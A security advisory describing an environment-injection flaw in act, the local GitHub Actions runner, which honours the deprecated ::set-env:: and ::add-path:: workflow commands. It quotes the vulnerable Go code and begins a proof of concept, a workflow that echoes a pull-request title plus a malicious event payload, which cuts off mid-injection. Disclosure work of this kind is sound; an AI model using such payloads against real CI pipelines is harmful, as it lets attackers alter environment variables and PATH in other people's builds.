GHSA-xmgr-9pqc-h5vw

Summary

act unconditionally processes the deprecated ::set-env:: and ::add-path:: workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes act strictly less secure than GitHub Actions for the same workflow file.

Vulnerable Code

pkg/runner/command.go, lines 52-58:

switch command {
case "set-env":
    rc.setEnv(ctx, kvPairs, arg)
case "set-output":
    rc.setOutput(ctx, kvPairs, arg)
case "add-path":
    rc.addPath(ctx, arg)

There is no check for the ACTIONS_ALLOW_UNSECURE_COMMANDS environment variable. The string ACTIONS_ALLOW_UNSECURE_COMMANDS does not appear anywhere in the act codebase.

On GitHub Actions, these commands are rejected unless ACTIONS_ALLOW_UNSECURE_COMMANDS=true is set:

Error: The `set-env` command is disabled. Please upgrade to using Environment Files
  or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true.

PoC: Environment and PATH Injection via PR Title

Tested on: act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0

Step 1 — Create a workflow that logs PR metadata:

.github/workflows/vuln.yml:

name: Vulnerable Workflow
on: [pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Log PR info
        run: |
          echo "Processing PR: ${{ github.event.pull_request.title }}"

      - name: Subsequent step - check environment
        run: |
          echo "=== Environment Injection Check ==="
          echo "NODE_OPTIONS=$NODE_OPTIONS"
          echo "EVIL_VAR=$EVIL_VAR"
          echo "PATH=$PATH"

Step 2 — Create a malicious event payload:

event.json:

{
  "pull_request": {
    "title": "Fix typo\n::set-env...